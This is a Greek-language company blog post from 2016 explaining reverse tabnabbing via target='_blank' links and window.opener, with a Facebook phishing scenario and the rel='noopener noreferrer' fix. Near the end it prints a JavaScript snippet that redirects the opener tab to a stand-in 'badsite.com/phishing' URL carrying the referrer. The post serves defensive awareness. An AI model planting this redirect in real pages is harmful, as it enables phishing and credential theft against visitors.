Tuesday, September 6, 2016

Κενό ασφαλείας στους συνδέσμους που οδηγούν σε εξωτερικές σελίδες

Leave a Comment
Τις περισσότερες φορές, τα κείμενα που ανεβάζουμε σε ιστοσελίδες και κοινωνικά μέσα δικτύωσης, περιέχουν συνδέσμους προς άλλες σελίδες, τις οποίες και επιλέγουμε να ανοίγουν σε καινούργιο παράθυρο ώστε να παραμένει στο προηγούμενο παράθυρο και η αρχική σελίδα περιήγησης. Για παράδειγμα, το χρησιμοποιούμε στις ιστοσελίδες για συνδέσμους προς τα μέσα κοινωνικής δικτύωσης, ή παραθέτουμε ένα σύνδεσμο - αναφορά σε κάποιο άρθρο που ανεβάζουμε.

Η ίδια επιλογή, δηλαδή το να ανοίγουν οι σύνδεσμοι σε νέο παράθυρο, χρησιμοποιείται και από γνωστές ιστοσελίδες και κοινωνικά μέσα δικτύωσης όπως το Facebook και το Instagram, όταν οι σύνδεσμοι οδηγούν σε εξωτερικες σελίδες.

Πρόσφατα ανακαλύφθηκε ένα σημαντικό κενό ασφαλείας σε όλους τους browsers (Google Chrome, Mozilla Firefox κλπ) το οποίο επιτρέπει σε κάποιον, με την προσθήκη κώδικα στην ιστοσελίδα του, να αλλάξει την διευθυνση στο tab από τo οποίo προήλθε ο επισκέπτης.

Προσθέτοντας τον συγκεκριμένο κώδικα σε μια κακόβουλη σελίδα, παραδείγματος χάριν στην Nelios.com, και κάνοντας ένα post στο Facebook το οποίο οδηγεί πίσω στη Nelios, ένας επισκέπτης μπορεί να ακολουθήσει το σύνδεσμο από το post αυτό ή από άλλη πηγή και να οδηγηθεί στην κακόβουλη σελιδα η οποία μπορεί να έχει πρόσβαση στο αρχικό παράθυρο που είναι ανοιχτή η σελίδα του Facebook.

Από τη στιγμή που μια κακόβουλη σελίδα θα αποκτήσει πρόσβαση στο αρχικό παράθυρο έχει αυτόματα πρόσβαση τόσο στα στοιχεία που αποθηκεύει ο browser στον υπολογιστή για την ιστοσελίδα αυτή - το Facebook στο παράδειγμά μας, αλλά και τη δυνατότητα να αλλάξουμε το url του αρχικού παραθύρου, ανακατευθύνοντας τον χρήστη σε κάποια άλλη, πιθανώς ψεύτικη ή κακόβουλη, χώρις ο χρήστης να το γνωρίζει. 

Αυτό είναι ιδιαίτερα σημαντικό καθώς μπορούμε να έχουμε κατασκευάσει μία δική μας ιστοσελίδα που να μιμείται την αρχική και ο επισκέπτης να νομίζει πως παραμένει στην αρχική σελίδα αλλά στην πραγματικότητα να έχει μεταφερθεί σε άλλη χωρις να το γνωριζει. Η τεχνική αυτή είναι γνωστή και ως phishing attack. 

Θα χρησιμοποιήσουμε το προηγούμενο παράδειγμα για να γίνει πιο κατανοητό. Κατασκευάζουμε μία σελίδα που να μοιάζει στο Facebook και προσθέτουμε τον κακόβουλο κώδικα στη σελίδα της Nelios. Δημιουργούμε ένα post στο Facebook που οδηγεί στη Nelios. Ο επισκέπτης που επιλέγει το σύνδεσμο στο post αυτό, βλέπει ένα καινούργιο παράθυρο με τη σελίδα της Nelios, ενώ το αρχικό παράθυρο ανακατευθύνεται στη δική μας σελίδα που μοιάζει με το Facebook χωρίς να αντιληφθεί την αλλαγή καθώς βλέπει το παράθυρο της Nelios. 

Έτσι, επιστρέφοντας στο προηγούμενο παράθυρο νομίζει ότι περιηγείται στο Facebook αλλά ουσιαστικά, βρίσκεται στη δική μας. Το ίδιο θα μπορούσε να συμβεί ίσως και με τη σελίδα κάποιας Τράπεζας, ή κάποιας ιστοσελίδας που μας ζητά να δώσουμε την κάρτα μας ή άλλα ευαίσθητα προσωπικά μας στοιχεία.




1) Η αρχική μας σελίδα με ένα ποστ που οδηγει σε ενα νέο tab στο nelios.com (χωρίς την διόρθωση ασφαλείας)


Screenshot from 2016-08-31 12-30-44.png

2) To νέο tab έχει φορτώσει και εκτελεί τον κακόβουλο κώδικα που έχει ήδη επηρεάσει το προηγούμενο tab και του έχει αλλάξει την διεύθυνση του.


Screenshot from 2016-08-31 12-31-06.png

3) Το προηγούμενο tab έχει επηρεαστεί από την επίθεση και μεταφερθήκαμε από το facebook.com στο twitter.com. Φανταστείτε να είχε μεταφερθεί ο χρήστης σε μια σελιδα που θα ειχε αντιγράψει την φόρμα συνδεσης μιας τράπεζας!

Ευτυχώς για εμάς υπάρχει λύση για να αποτρέψουμε την πρόσβαση στην αρχική σελίδα, με την προσθήκη κώδικα σε όλες τις ιστοσελίδες της Nelios.com για τους συνδέσμους που ανοίγουν σε καινούργιο παράθυρο, ενώ στην ίδια κατεύθυνση κινούνται τόσο οι κατασκευαστές των browser όσο και οι μεγάλες ιστοσελίδες - το Instagram για παράδειγμα το διόρθωσε ήδη.

Όσον αφορά το τεχνικό μέρος του ζητήματος, το πρόβλημα υπάρχει σε όλα εκείνα τα στοιχεία και συνδέσμους που περιέχουν target=’_blank’, ενώ το πρόβλημα διορθώνεται με την προσθήκη ενός επιπλέον attribute, rel="noopener noreferrer". Τέλος ο κώδικας που επιτρέπει στην νέα σελίδα που ανοίγει να έχει πρόσβαση στην αρχική σελίδα, τροποποιεί το window.opener:

if (window.opener)  {
window.opener.location = "https://badsite.com/phishing?referrer="+document.referrer;
}

Αναμένουμε από όλους τους browser να διορθώσουν το κενό ασφαλείας αυτό, ενώ μέχρι τότε βεβαιωνόμαστε για τη χρήση του επιπλέον κώδικα που αποτρέπει την πρόσβαση στην αρχική σελίδα, και τέλος είμαστε πολύ προσεκτικοί όταν ανοίγει ένας σύνδεσμος σε νέα σελίδα ώστε να βεβαιωθούμε ότι η αρχική σελίδα παραμένει αναλοίωτη.




Panos Telonis
-

Head of Support Department